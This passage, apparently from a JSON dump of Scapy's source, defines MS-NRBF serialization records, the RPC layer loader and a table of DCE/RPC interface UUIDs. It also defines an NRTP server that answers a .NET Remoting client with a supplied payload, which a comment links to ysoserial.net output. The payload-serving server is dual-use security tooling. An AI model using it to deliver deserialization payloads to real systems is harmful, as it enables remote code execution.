]\n\n\n# [MS-NRBF] sect 2.3.1.2\n\n\nclass NRBFAdditionalInfo(Packet):\n    __slots__ = [\"bintype\"]\n\n    fields_desc = [\n        MultipleTypeField(\n            [\n                (\n                    ByteEnumField(\"Value\", 0, PrimitiveTypeEnum),\n                    lambda pkt: pkt.bintype\n                    in [\n                        BinaryTypeEnum.Primitive,\n                        BinaryTypeEnum.PrimitiveArray,\n                    ],\n                ),\n                (\n                    PacketField(\n                        \"Value\", NRBFLengthPrefixedString(), NRBFLengthPrefixedString\n                    ),\n                    lambda pkt: pkt.bintype == BinaryTypeEnum.SystemClass,\n                ),\n                (\n                    PacketField(\"Value\", NRBFClassTypeInfo(), NRBFClassTypeInfo),\n                    lambda pkt: pkt.bintype == BinaryTypeEnum.Class,\n                ),\n            ],\n            StrFixedLenField(\"Value\", b\"\", length=0),\n        ),\n    ]\n\n    def __init__(self, _pkt=None, **kwargs):\n        self.bintype = kwargs.pop(\"bintype\", BinaryTypeEnum.Primitive)\n        assert isinstance(self.bintype, BinaryTypeEnum)\n        super(NRBFAdditionalInfo, self).__init__(_pkt, **kwargs)\n\n    def clone_with(self, *args, **kwargs):\n        pkt = super(NRBFAdditionalInfo, self).clone_with(*args, **kwargs)\n        pkt.bintype = self.bintype\n        return pkt\n\n    def copy(self):\n        pkt = super(NRBFAdditionalInfo, self).copy()\n        pkt.bintype = self.bintype\n        return pkt\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\ndef _member_type_infos_cb(pkt, lst, cur, remain):\n    \"\"\"\n    Returns a NRBFAdditionalInfo with the type selected.\n    \"\"\"\n    # Get the next member of 'BinaryTypeEnums'\n    index = len(lst) + (1 if cur is not None else 0)\n    try:\n        typeEnum = next(\n            y\n            for i, y in enumerate(\n                x\n                for x in pkt.BinaryTypeEnums\n                if x\n                not in [\n                    # Some types are ignored (see table in [MS-NRBF] sect 2.3.1.2)\n                    BinaryTypeEnum.String,\n                    BinaryTypeEnum.Object,\n                    BinaryTypeEnum.ObjectArray,\n                    BinaryTypeEnum.StringArray,\n                ]\n            )\n            if i >= index\n        )\n    except StopIteration:\n        return None\n    typeEnum = BinaryTypeEnum(typeEnum)\n    # Return BinaryTypeEnum tainted with a preselected type.\n    return functools.partial(\n        NRBFAdditionalInfo,\n        bintype=typeEnum,\n    )\n\n\nclass NRBFMemberTypeInfo(Packet):\n    fields_desc = [\n        FieldListField(\n            \"BinaryTypeEnums\",\n            [],\n            ByteEnumField(\"\", 0, BinaryTypeEnum),\n            count_from=lambda pkt: pkt.MemberCount,\n        ),\n        PacketListField(\n            \"AdditionalInfos\",\n            [],\n            None,\n            next_cls_cb=_member_type_infos_cb,\n        ),\n    ]\n\n\n# [MS-NRBF] 2.3.2.5\n\n\nclass NRBFClassWithId(NRBFRecord):\n    RecordTypeEnum = 1\n    fields_desc = [\n        NRBFRecord,\n        LESignedIntField(\"ObjectId\", 0),\n        LESignedIntField(\"MetadataId\", 0),\n    ]\n\n\n# [MS-NRBF] sect 2.5.2\n\n\nclass NRBFMemberPrimitiveUnTyped(Packet):\n    __slots__ = [\"primtype\"]\n\n    fields_desc = [\n        NRBFValueWithCode.fields_desc[1],\n    ]\n\n    def __init__(self, _pkt=None, **kwargs):\n        self.primtype = kwargs.pop(\"primtype\", PrimitiveTypeEnum.Byte)\n        assert isinstance(self.primtype, PrimitiveTypeEnum)\n        super(NRBFMemberPrimitiveUnTyped, self).__init__(_pkt, **kwargs)\n\n    def clone_with(self, *args, **kwargs):\n        pkt = super(NRBFMemberPrimitiveUnTyped, self).clone_with(*args, **kwargs)\n        pkt.primtype = self.primtype\n        return pkt\n\n    def copy(self):\n        pkt = super(NRBFMemberPrimitiveUnTyped, self).copy()\n        pkt.primtype = self.primtype\n        return pkt\n\n    @property\n    def PrimitiveType(self):\n        return self.primtype\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# [MS-NRBF] sect 2.3.2.1\n\n\nclass NRBFClassWithMembersAndTypes(NRBFRecord):\n    RecordTypeEnum = 5\n    fields_desc = [\n        NRBFRecord,\n        NRBFClassInfo,\n        NRBFMemberTypeInfo,\n        LESignedIntField(\"LibraryId\", 0),\n        _NRBFMembers,\n    ]\n\n\n# [MS-NRBF] sect 2.3.2.3\n\n\nclass NRBFSystemClassWithMembersAndTypes(NRBFRecord):\n    RecordTypeEnum = 4\n    fields_desc = [\n        NRBFRecord,\n        NRBFClassInfo,\n        NRBFMemberTypeInfo,\n        _NRBFMembers,\n    ]\n\n\n# [MS-NRBF] sect 2.3.2.4\n\n\nclass NRBFSystemClassWithMembers(NRBFRecord):\n    RecordTypeEnum = 2\n    fields_desc = [\n        NRBFRecord,\n        NRBFClassInfo,\n        _NRBFMembers,\n    ]\n\n\n# [MS-NRBF] sect 2.4.2.1\n\n\nclass ArrayInfo(Packet):\n    fields_desc = [LEIntField(\"ObjectId\", 0), LEIntField(\"Length\", None)]\n\n\n# [MS-NRBF] sect 2.4.3.2\n\n\nclass NRBFArraySingleObject(NRBFRecord):\n    RecordTypeEnum = 16\n    Length = 1\n    fields_desc = [\n        NRBFRecord,\n        ArrayInfo,\n    ]\n\n\n# [MS-NRBF] sect 2.4.3.3\n\n\ndef _values_singleprim_cb(pkt, lst, cur, remain):\n    index = len(lst) + (1 if cur is not None else 0)\n    if index >= pkt.Length:\n        return None\n    return functools.partial(\n        NRBFMemberPrimitiveUnTyped,\n        primtype=PrimitiveTypeEnum(pkt.PrimitiveTypeEnum),\n    )\n\n\nclass NRBFArraySinglePrimitive(NRBFRecord):\n    RecordTypeEnum = 15\n    fields_desc = [\n        NRBFRecord,\n        ArrayInfo,\n        ByteEnumField(\"PrimitiveTypeEnum\", 0, PrimitiveTypeEnum),\n        MultipleTypeField(\n            [\n                (\n                    StrLenField(\"Values\", [], length_from=lambda pkt: pkt.Length),\n                    lambda pkt: pkt.PrimitiveTypeEnum == PrimitiveTypeEnum.Byte,\n                )\n            ],\n            PacketListField(\n                \"Values\",\n                [],\n                next_cls_cb=_values_singleprim_cb,\n                max_count=1000,\n            ),\n        ),\n    ]\n\n    def post_build(self, p, pay):\n        if self.Length is None:\n            p = p[:5] + struct.pack(\"<I\", len(self.Values)) + p[9:]\n        return p + pay\n\n\n# [MS-NRBF] sect 2.5.1\n\n\nclass NRBFMemberPrimitiveTyped(NRBFRecord):\n    RecordTypeEnum = 9\n    fields_desc = [\n        NRBFRecord,\n        NRBFValueWithCode,\n    ]\n\n\n# [MS-NRBF] sect 2.5.3\n\n\nclass NRBFMemberReference(NRBFRecord):\n    RecordTypeEnum = 9\n    fields_desc = [\n        NRBFRecord,\n        LEIntField(\"IdRef\", 0),\n    ]\n\n\n# [MS-NRBF] sect 2.5.4\n\n\nclass NRBFObjectNull(NRBFRecord):\n    RecordTypeEnum = 10\n    fields_desc = [\n        NRBFRecord,\n    ]\n\n\n# [MS-NRBF] sect 2.5.7\n\n\nclass NRBFBinaryObjectString(NRBFRecord):\n    RecordTypeEnum = 6\n    fields_desc = [\n        NRBFRecord,\n        LEIntField(\"ObjectId\", 0),\n        PacketField(\"Value\", NRBFLengthPrefixedString(), NRBFLengthPrefixedString),\n    ]\n\n\n# [MS-NRBF] sect 2.6.1\n\n\nclass NRBFSerializationHeader(NRBFRecord):\n    RecordTypeEnum = 0\n    fields_desc = [\n        NRBFRecord,\n        LESignedIntField(\"RootID\", 1),\n        LESignedIntField(\"HeaderId\", 0),\n        LESignedIntField(\"MajorVersion\", 1),\n        LESignedIntField(\"MinorVersion\", 0),\n    ]\n\n\n# [MS-NRBF] sect 2.6.2\n\n\nclass NRBFBinaryLibrary(NRBFRecord):\n    RecordTypeEnum = 12\n    fields_desc = [\n        NRBFRecord,\n        LESignedIntField(\"LibraryId\", 0),\n        PacketField(\n            \"LibraryName\", NRBFLengthPrefixedString(), NRBFLengthPrefixedString\n        ),\n    ]\n\n\n# [MS-NRBF] sect 2.6.3\n\n\nclass NRBFMessageEnd(NRBFRecord):\n    RecordTypeEnum = 11\n    fields_desc = [\n        NRBFRecord,\n    ]\n\n\n# NRBF is a list of records\n\n\ndef _nrbf_records_cls(pkt, lst, cur, remain):\n    # Detect end\n    if isinstance(cur, NRBFMessageEnd):\n        return None\n    return NRBFRecord\n\n\nclass NRBF(Packet):\n    # This is the same structure as what is returned by ysoserial.net\n    fields_desc = [\n        PacketListField(\n            \"records\",\n            [NRBFMessageEnd()],\n            None,\n            max_count=1000,\n            next_cls_cb=_nrbf_records_cls,\n        )\n    ]\n\n    def default_payload_class(self, _):\n        return conf.padding_layer\n\n\n# Automatons\n\n\nclass NRTP_Server(Automaton):\n    \"\"\"\n    NRTP server to send a single payload.\n    \"\"\"\n\n    pkt_cls = NRTPSingleMessageContent\n    socketcls = StreamSocket\n\n    def __init__(self, PAYLOAD, verb=True, *args, **kwargs):\n        self.PAYLOAD = PAYLOAD\n        self.verb = verb\n        if \"sock\" not in kwargs:\n            raise ValueError(\n                \"NMF_Server cannot be started directly ! Use NMF_Server.spawn\"\n            )\n        Automaton.__init__(\n            self,\n            *args,\n            **kwargs,\n        )\n\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        pass\n\n    @ATMT.state(error=1)\n    def FAILURE(self, error):\n        return error\n\n    @ATMT.receive_condition(BEGIN)\n    def should_send_response(self, pkt):\n        if NRTPSingleMessageContent in pkt:\n            raise self.END().action_parameters(pkt)\n\n    @ATMT.action(should_send_response)\n    def send_response(self, pkt):\n        self.send(NRTPSingleMessageContent(OperationType=\"Reply\") / self.PAYLOAD)\n\n    @ATMT.state(final=1)\n    def END(self):\n        pass\n\n\nif __name__ == \"__main__\":\n    interact(mydict=globals(), mybanner=\"Scapy [MS-NRTP] addon\")\n"
  },
  {
    "path": "scapy/layers/msrpce/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\n[MS-RPCE] Remote Procedure Call Protocol Extensions\n\nThis module contains toolery to interact with Microsoft's [MS-RPCE]\n(DCE/RPC) extensions.\n\nIt contains the following modules:\n\n- ``scapy.layers.msrpce.rpcclient``: a MS-RPCE client\n- ``scapy.layers.msrpce.rpcserver``: a MS-RPCE server\n- ``scapy.layers.msrpce.ept``: DCE/RPC 1.1 endpoint mapper\n- ``scapy.layers.msrpce.mspac``: [MS-PAC], the PAC in Kerberos packets\n- ``scapy.layers.msrpce.msnrpc``: [MS-NRPC], a client and SSP\n- ``scapy.layers.msnpce.raw``: raw RPC classes\n\"\"\"\n"
  },
  {
    "path": "scapy/layers/msrpce/all.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nAll MSRPCE layers\n\"\"\"\n\nimport uuid\n\nfrom scapy.error import log_loading\nfrom scapy.main import load_layer\n\nfrom scapy.layers.dcerpc import (\n    DCE_RPC_INTERFACES_NAMES,\n    DCE_RPC_INTERFACES_NAMES_rev,\n)\n\n__all__ = []\n\n\n# Load all layers bundled with Scapy\n_LAYERS = [\n    # High-level classes\n    \"msrpce.msdcom\",\n    \"msrpce.mseerr\",\n    \"msrpce.msnrpc\",\n    \"msrpce.mspac\",\n    # Client / Server\n    \"msrpce.rpcclient\",\n    \"msrpce.rpcserver\",\n    # Low-level RPC definitions\n    \"msrpce.raw.ept\",\n    \"msrpce.raw.ms_dcom\",\n    \"msrpce.raw.ms_drsr\",\n    \"msrpce.raw.ms_nrpc\",\n    \"msrpce.raw.ms_samr\",\n    \"msrpce.raw.ms_srvs\",\n    \"msrpce.raw.ms_wkst\",\n]\n\nfor _l in _LAYERS:\n    log_loading.debug(\"Loading MSRPCE layer %s\", _l)\n    try:\n        load_layer(_l, globals_dict=globals(), symb_list=__all__)\n    except Exception as e:\n        log_loading.warning(\"can't import layer %s: %s\", _l, e)\n\n\n# Populate DCE_RPC_INTERFACES_NAMES for some well-known interfaces\n\n# Well-Known = from MSDN\n_DCE_RPC_WELL_KNOWN_UUIDS = [\n    (uuid.UUID(\"00000000-0000-0000-c000-000000000046\"), \"IUnknown\"),\n    (uuid.UUID(\"00000131-0000-0000-c000-000000000046\"), \"IRemUnknown\"),\n    (uuid.UUID(\"00000143-0000-0000-c000-000000000046\"), \"IRemUnknown2\"),\n    (uuid.UUID(\"000001a0-0000-0000-c000-000000000046\"), \"IRemoteSCMActivator\"),\n    (uuid.UUID(\"00020400-0000-0000-c000-000000000046\"), \"IDispatch\"),\n    (uuid.UUID(\"00020401-0000-0000-c000-000000000046\"), \"ITypeInfo\"),\n    (uuid.UUID(\"00020402-0000-0000-c000-000000000046\"), \"ITypeLib\"),\n    (uuid.UUID(\"00020403-0000-0000-c000-000000000046\"), \"ITypeComp\"),\n    (uuid.UUID(\"00020404-0000-0000-c000-000000000046\"), \"IEnumVARIANT\"),\n    (uuid.UUID(\"00020411-0000-0000-c000-000000000046\"), \"ITypeLib2\"),\n    (uuid.UUID(\"00020412-0000-0000-c000-000000000046\"), \"ITypeInfo2\"),\n    (uuid.UUID(\"004c6a2b-0c19-4c69-9f5c-a269b2560db9\"), \"IWindowsDriverUpdate4\"),\n    (uuid.UUID(\"0191775e-bcff-445a-b4f4-3bdda54e2816\"), \"IAppHostPropertyCollection\"),\n    (uuid.UUID(\"01954e6b-9254-4e6e-808c-c9e05d007696\"), \"IVssEnumMgmtObject\"),\n    (uuid.UUID(\"027947e1-d731-11ce-a357-000000000001\"), \"IEnumWbemClassObject\"),\n    (uuid.UUID(\"0316560b-5db4-4ed9-bbb5-213436ddc0d9\"), \"IVdsRemovable\"),\n    (\n        uuid.UUID(\"0344cdda-151e-4cbf-82da-66ae61e97754\"),\n        \"IAppHostElementSchemaCollection\",\n    ),\n    (uuid.UUID(\"034634fd-ba3f-11d1-856a-00a0c944138c\"), \"IManageTelnetSessions\"),\n    (uuid.UUID(\"038374ff-098b-11d8-9414-505054503030\"), \"IDataCollector\"),\n    (uuid.UUID(\"03837502-098b-11d8-9414-505054503030\"), \"IDataCollectorCollection\"),\n    (\n        uuid.UUID(\"03837506-098b-11d8-9414-505054503030\"),\n        \"IPerformanceCounterDataCollector\",\n    ),\n    (uuid.UUID(\"0383750b-098b-11d8-9414-505054503030\"), \"ITraceDataCollector\"),\n    (uuid.UUID(\"03837510-098b-11d8-9414-505054503030\"), \"ITraceDataProviderCollection\"),\n    (uuid.UUID(\"03837512-098b-11d8-9414-505054503030\"), \"ITraceDataProvider\"),\n    (uuid.UUID(\"03837514-098b-11d8-9414-505054503030\"), \"IConfigurationDataCollector\"),\n    (uuid.UUID(\"03837516-098b-11d8-9414-505054503030\"), \"IAlertDataCollector\"),\n    (uuid.UUID(\"0383751a-098b-11d8-9414-505054503030\"), \"IApiTracingDataCollector\"),\n    (uuid.UUID(\"03837520-098b-11d8-9414-505054503030\"), \"IDataCollectorSet\"),\n    (uuid.UUID(\"03837524-098b-11d8-9414-505054503030\"), \"IDataCollectorSetCollection\"),\n    (uuid.UUID(\"03837533-098b-11d8-9414-505054503030\"), \"IValueMapItem\"),\n    (uuid.UUID(\"03837534-098b-11d8-9414-505054503030\"), \"IValueMap\"),\n    (uuid.UUID(\"0383753a-098b-11d8-9414-505054503030\"), \"ISchedule\"),\n    (uuid.UUID(\"0383753d-098b-11d8-9414-505054503030\"), \"IScheduleCollection\"),\n    (uuid.UUID(\"03837541-098b-11d8-9414-505054503030\"), \"IDataManager\"),\n    (uuid.UUID(\"03837543-098b-11d8-9414-505054503030\"), \"IFolderAction\"),\n    (uuid.UUID(\"03837544-098b-11d8-9414-505054503030\"), \"IFolderActionCollection\"),\n    (uuid.UUID(\"04c6895d-eaf2-4034-97f3-311de9be413a\"), \"IUpdateSearcher3\"),\n    (uuid.UUID(\"070669eb-b52f-11d1-9270-00c04fbbbfb3\"), \"IDataFactory2\"),\n    (uuid.UUID(\"0716caf8-7d05-4a46-8099-77594be91394\"), \"IAppHostConstantValue\"),\n    (uuid.UUID(\"0770687e-9f36-4d6f-8778-599d188461c9\"), \"IFsrmFileManagementJob\"),\n    (uuid.UUID(\"07e5c822-f00c-47a1-8fce-b244da56fd06\"), \"IVdsDisk\"),\n    (uuid.UUID(\"07f7438c-7709-4ca5-b518-91279288134e\"), \"IUpdateCollection\"),\n    (uuid.UUID(\"0818a8ef-9ba9-40d8-a6f9-e22833cc771e\"), \"IVdsService\"),\n    (uuid.UUID(\"081e7188-c080-4ff3-9238-29f66d6cabfd\"), \"IMessenger\"),\n    (\n        uuid.UUID(\"08a90f5f-0702-48d6-b45f-02a9885a9768\"),\n        \"IAppHostChildElementCollection\",\n    ),\n    (uuid.UUID(\"09829352-87c2-418d-8d79-4133969a489d\"), \"IAppHostChangeHandler\"),\n    (uuid.UUID(\"0ac13689-3134-47c6-a17c-4669216801be\"), \"IVdsServiceHba\"),\n    (uuid.UUID(\"0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7\"), \"authzr\"),\n    (uuid.UUID(\"0bb8531d-7e8d-424f-986c-a0b8f60a3e7b\"), \"IUpdateServiceManager2\"),\n    (\n        uuid.UUID(\"0d521700-a372-4bef-828b-3d00c10adebd\"),\n        \"IWindowsDriverUpdateEntryCollection\",\n    ),\n    (uuid.UUID(\"0dd8a158-ebe6-4008-a1d9-b7ecc8f1104b\"), \"IAppHostSectionGroup\"),\n    (uuid.UUID(\"0e3d6630-b46b-11d1-9d2d-006008b0e5ca\"), \"ICatalogTableRead\"),\n    (uuid.UUID(\"0e3d6631-b46b-11d1-9d2d-006008b0e5ca\"), \"ICatalogTableWrite\"),\n    (uuid.UUID(\"0eac4842-8763-11cf-a743-00aa00a3f00d\"), \"IDataFactory\"),\n    (uuid.UUID(\"0fb15084-af41-11ce-bd2b-204c4f4f5020\"), \"ITransaction\"),\n    (uuid.UUID(\"1088a980-eae5-11d0-8d9b-00a02453c337\"), \"qm2qm\"),\n    (uuid.UUID(\"10c5e575-7984-4e81-a56b-431f5f92ae42\"), \"IVdsProvider\"),\n    (uuid.UUID(\"112eda6b-95b3-476f-9d90-aee82c6b8181\"), \"IUpdate3\"),\n    (uuid.UUID(\"118610b7-8d94-4030-b5b8-500889788e4e\"), \"IEnumVdsObject\"),\n    (uuid.UUID(\"11899a43-2b68-4a76-92e3-a3d6ad8c26ce\"), \"TermSrvNotification\"),\n    (uuid.UUID(\"11942d87-a1de-4e7f-83fb-a840d9c5928d\"), \"IClusterStorage3\"),\n    (uuid.UUID(\"12345678-1234-abcd-ef00-0123456789ab\"), \"winspool\"),\n    (uuid.UUID(\"12345678-1234-abcd-ef00-01234567cffb\"), \"logon\"),\n    (uuid.UUID(\"12345778-1234-abcd-ef00-0123456789ab\"), \"lsarpc\"),\n    (uuid.UUID(\"12345778-1234-abcd-ef00-0123456789ac\"), \"samr\"),\n    (uuid.UUID(\"1257b580-ce2f-4109-82d6-a9459d0bf6bc\"), \"SessEnvPublicRpc\"),\n    (uuid.UUID(\"12937789-e247-4917-9c20-f3ee9c7ee783\"), \"IFsrmActionCommand\"),\n    (uuid.UUID(\"135698d2-3a37-4d26-99df-e2bb6ae3ac61\"), \"IVolumeClient3\"),\n    (uuid.UUID(\"13b50bff-290a-47dd-8558-b7c58db1a71a\"), \"IVdsPack2\"),\n    (uuid.UUID(\"144fe9b0-d23d-4a8b-8634-fb4457533b7a\"), \"IUpdate2\"),\n    (uuid.UUID(\"14a8831c-bc82-11d2-8a64-0008c7457e5d\"), \"ExtendedError\"),\n    (uuid.UUID(\"14fbe036-3ed7-4e10-90e9-a5ff991aff01\"), \"IVdsServiceIscsi\"),\n    (uuid.UUID(\"1518b460-6518-4172-940f-c75883b24ceb\"), \"IUpdateService2\"),\n    (uuid.UUID(\"1544f5e0-613c-11d1-93df-00c04fd7bd09\"), \"rfri\"),\n    (uuid.UUID(\"1568a795-3924-4118-b74b-68d8f0fa5daf\"), \"IFsrmQuotaBase\"),\n    (uuid.UUID(\"15a81350-497d-4aba-80e9-d4dbcc5521fe\"), \"IFsrmStorageModuleDefinition\"),\n    (uuid.UUID(\"15fc031c-0652-4306-b2c3-f558b8f837e2\"), \"IVdsServiceSw\"),\n    (uuid.UUID(\"17fdd703-1827-4e34-79d4-24a55c53bb37\"), \"msgsvc\"),\n    (uuid.UUID(\"182c40fa-32e4-11d0-818b-00a0c9231c29\"), \"ICatalogSession\"),\n    (uuid.UUID(\"1a9134dd-7b39-45ba-ad88-44d01ca47f28\"), \"RemoteRead\"),\n    (uuid.UUID(\"1a927394-352e-4553-ae3f-7cf4aafca620\"), \"WdsRpcInterface\"),\n    (uuid.UUID(\"1bb617b8-3886-49dc-af82-a6c90fa35dda\"), \"IFsrmMutableCollection\"),\n    (uuid.UUID(\"1be2275a-b315-4f70-9e44-879b3a2a53f2\"), \"IVdsVolumeOnline\"),\n    (uuid.UUID(\"1c1c45ee-4395-11d2-b60b-00104b703efd\"), \"IWbemFetchSmartEnum\"),\n    (uuid.UUID(\"1d118904-94b3-4a64-9fa6-ed432666a7b9\"), \"ICatalog64BitSupport\"),\n    (uuid.UUID(\"1e062b84-e5e6-4b4b-8a25-67b81e8f13e8\"), \"IVdsVDisk\"),\n    (uuid.UUID(\"1f7b1697-ecb2-4cbb-8a0e-75c427f4a6f0\"), \"IImport2\"),\n    (uuid.UUID(\"1ff70682-0a51-30e8-076d-740be8cee98b\"), \"atsvc\"),\n    (uuid.UUID(\"205bebf8-dd93-452a-95a6-32b566b35828\"), \"IFsrmFileScreenTemplate\"),\n    (uuid.UUID(\"20610036-fa22-11cf-9823-00a0c911e5df\"), \"rasrpc\"),\n    (uuid.UUID(\"20d15747-6c48-4254-a358-65039fd8c63c\"), \"IServerHealthReport2\"),\n    (\n        uuid.UUID(\"214a0f28-b737-4026-b847-4f9e37d79529\"),\n        \"IVssDifferentialSoftwareSnapshotMgmt\",\n    ),\n    (uuid.UUID(\"21546ae8-4da5-445e-987f-627fea39c5e8\"), \"IWRMConfig\"),\n    (uuid.UUID(\"22bcef93-4a3f-4183-89f9-2f8b8a628aee\"), \"IFsrmObject\"),\n    (uuid.UUID(\"22e5386d-8b12-4bf0-b0ec-6a1ea419e366\"), \"NetEventForwarder\"),\n    (uuid.UUID(\"23857e3c-02ba-44a3-9423-b1c900805f37\"), \"IUpdateServiceManager\"),\n    (uuid.UUID(\"23c9dd26-2355-4fe2-84de-f779a238adbd\"), \"IProcessDump\"),\n    (uuid.UUID(\"27b899fe-6ffa-4481-a184-d3daade8a02b\"), \"IFsrmReportManager\"),\n    (uuid.UUID(\"27e94b0d-5139-49a2-9a61-93522dc54652\"), \"IUpdate4\"),\n    (uuid.UUID(\"29822ab7-f302-11d0-9953-00c04fd919c1\"), \"IWamAdmin\"),\n    (uuid.UUID(\"29822ab8-f302-11d0-9953-00c04fd919c1\"), \"IWamAdmin2\"),\n    (uuid.UUID(\"2a3eb639-d134-422d-90d8-aaa1b5216202\"), \"IResourceManager2\"),\n    (uuid.UUID(\"2abd757f-2851-4997-9a13-47d2a885d6ca\"), \"IVdsHbaPort\"),\n    (uuid.UUID(\"2c9273e0-1dc3-11d3-b364-00105a1f8177\"), \"IWbemRefreshingServices\"),\n    (uuid.UUID(\"2d9915fb-9d42-4328-b782-1b46819fab9e\"), \"IAppHostMethodSchema\"),\n    (uuid.UUID(\"2dbe63c4-b340-48a0-a5b0-158e07fc567e\"), \"IFsrmActionReport\"),\n    (uuid.UUID(\"300f3532-38cc-11d0-a3f0-0020af6b0add\"), \"trkwks\"),\n    (uuid.UUID(\"31a83ea0-c0e4-4a2c-8a01-353cc2a4c60a\"), \"IAppHostMappingExtension\"),\n    (uuid.UUID(\"326af66f-2ac0-4f68-bf8c-4759f054fa29\"), \"IFsrmPropertyCondition\"),\n    (uuid.UUID(\"338cd001-2244-31f1-aaaa-900038001003\"), \"winreg\"),\n    (uuid.UUID(\"367abb81-9844-35f1-ad32-98f038001003\"), \"svcctl\"),\n    (uuid.UUID(\"370af178-7758-4dad-8146-7391f6e18585\"), \"IAppHostConfigLocation\"),\n    (uuid.UUID(\"377f739d-9647-4b8e-97d2-5ffce6d759cd\"), \"IFsrmQuota\"),\n    (uuid.UUID(\"378e52b0-c0a9-11cf-822d-00aa0051e40f\"), \"sasec\"),\n    (uuid.UUID(\"3858c0d5-0f35-4bf5-9714-69874963bc36\"), \"IVdsAdvancedDisk3\"),\n    (uuid.UUID(\"38a0a9ab-7cc8-4693-ac07-1f28bd03c3da\"), \"IVdsIscsiInitiatorPortal\"),\n    (uuid.UUID(\"38e87280-715c-4c7d-a280-ea1651a19fef\"), \"IFsrmReportJob\"),\n    (uuid.UUID(\"3919286a-b10c-11d0-9ba8-00c04fd92ef5\"), \"dssetup\"),\n    (uuid.UUID(\"39322a2d-38ee-4d0d-8095-421a80849a82\"), \"IFsrmDerivedObjectsResult\"),\n    (uuid.UUID(\"3a410f21-553f-11d1-8e5e-00a0c92c9d5d\"), \"IDMRemoteServer\"),\n    (uuid.UUID(\"3a56bfb8-576c-43f7-9335-fe4838fd7e37\"), \"ICategoryCollection\"),\n    (uuid.UUID(\"3b69d7f5-9d94-4648-91ca-79939ba263bf\"), \"IVdsPack\"),\n    (uuid.UUID(\"3bbed8d9-2c9a-4b21-8936-acb2f995be6c\"), \"INtmsObjectManagement3\"),\n    (uuid.UUID(\"3dde7c30-165d-11d1-ab8f-00805f14db40\"), \"BackupKey\"),\n    (uuid.UUID(\"3f3b1b86-dbbe-11d1-9da6-00805f85cfe3\"), \"IContainerControl\"),\n    (uuid.UUID(\"40f73c8b-687d-4a13-8d96-3d7f2e683936\"), \"IVdsDisk2\"),\n    (uuid.UUID(\"41208ee0-e970-11d1-9b9e-00e02c064c39\"), \"qmmgmt\"),\n    (uuid.UUID(\"4173ac41-172d-4d52-963c-fdc7e415f717\"), \"IFsrmQuotaTemplateManager\"),\n    (uuid.UUID(\"423ec01e-2e35-11d2-b604-00104b703efd\"), \"IWbemWCOSmartEnum\"),\n    (uuid.UUID(\"426677d5-018c-485c-8a51-20b86d00bdc4\"), \"IFsrmFileGroupManager\"),\n    (uuid.UUID(\"42dc3511-61d5-48ae-b6dc-59fc00c0a8d6\"), \"IFsrmQuotaObject\"),\n    (uuid.UUID(\"44aca674-e8fc-11d0-a07c-00c04fb68820\"), \"IWbemContext\"),\n    (uuid.UUID(\"44aca675-e8fc-11d0-a07c-00c04fb68820\"), \"IWbemCallResult\"),\n    (uuid.UUID(\"44e265dd-7daf-42cd-8560-3cdb6e7a2729\"), \"TsProxyRpcInterface\"),\n    (uuid.UUID(\"450386db-7409-4667-935e-384dbbee2a9e\"), \"IAppHostPropertySchema\"),\n    (uuid.UUID(\"456129e2-1078-11d2-b0f9-00805fc73204\"), \"ICatalogUtils\"),\n    (uuid.UUID(\"45f52c28-7f9f-101a-b52b-08002b2efabe\"), \"winsif\"),\n    (uuid.UUID(\"46297823-9940-4c09-aed9-cd3ea6d05968\"), \"IUpdateIdentity\"),\n    (uuid.UUID(\"4639db2a-bfc5-11d2-9318-00c04fbbbfb3\"), \"IDataFactory3\"),\n    (uuid.UUID(\"47782152-d16c-4229-b4e1-0ddfe308b9f6\"), \"IFsrmPropertyDefinition2\"),\n    (uuid.UUID(\"47cde9a1-0bf6-11d2-8016-00c04fb9988e\"), \"ICapabilitySupport\"),\n    (uuid.UUID(\"481e06cf-ab04-4498-8ffe-124a0a34296d\"), \"IWRMCalendar\"),\n    (uuid.UUID(\"4846cb01-d430-494f-abb4-b1054999fb09\"), \"IFsrmQuotaManagerEx\"),\n    (uuid.UUID(\"484809d6-4239-471b-b5bc-61df8c23ac48\"), \"TermSrvSession\"),\n    (uuid.UUID(\"497d95a6-2d27-4bf5-9bbd-a6046957133c\"), \"RCMListener\"),\n    (uuid.UUID(\"49ebd502-4a96-41bd-9e3e-4c5057f4250c\"), \"IWindowsDriverUpdate3\"),\n    (uuid.UUID(\"4a2f5c31-cfd9-410e-b7fb-29a653973a0f\"), \"IAutomaticUpdates2\"),\n    (uuid.UUID(\"4a6b0e15-2e38-11d1-9965-00c04fbbb345\"), \"IEventSubscription\"),\n    (uuid.UUID(\"4a6b0e16-2e38-11d1-9965-00c04fbbb345\"), \"IEventSubscription2\"),\n    (uuid.UUID(\"4a73fee4-4102-4fcc-9ffb-38614f9ee768\"), \"IFsrmProperty\"),\n    (uuid.UUID(\"4afc3636-db01-4052-80c3-03bbcb8d3c69\"), \"IVdsServiceInitialization\"),\n    (uuid.UUID(\"4b324fc8-1670-01d3-1278-5a47bf6ee188\"), \"srvsvc\"),\n    (uuid.UUID(\"4bb8ab1d-9ef9-4100-8eb6-dd4b4e418b72\"), \"IADProxy\"),\n    (uuid.UUID(\"4bdafc52-fe6a-11d2-93f8-00105a11164a\"), \"IVolumeClient2\"),\n    (uuid.UUID(\"4c8f96c3-5d94-4f37-a4f4-f56ab463546f\"), \"IFsrmActionEventLog\"),\n    (uuid.UUID(\"4cbdcb2d-1589-4beb-bd1c-3e582ff0add0\"), \"IUpdateSearcher2\"),\n    (uuid.UUID(\"4d9f4ab8-7d1c-11cf-861e-0020af6e7c57\"), \"IActivation\"),\n    (uuid.UUID(\"4da1c422-943d-11d1-acae-00c04fc2aa3f\"), \"trksvr\"),\n    (uuid.UUID(\"4daa0135-e1d1-40f1-aaa5-3cc1e53221c3\"), \"IVdsVolumePlex\"),\n    (uuid.UUID(\"4dbcee9a-6343-4651-b85f-5e75d74d983c\"), \"IVdsVolumeMF2\"),\n    (uuid.UUID(\"4dfa1df3-8900-4bc7-bbb5-d1a458c52410\"), \"IAppHostConfigException\"),\n    (uuid.UUID(\"4e14fb9f-2e22-11d1-9964-00c04fbbb345\"), 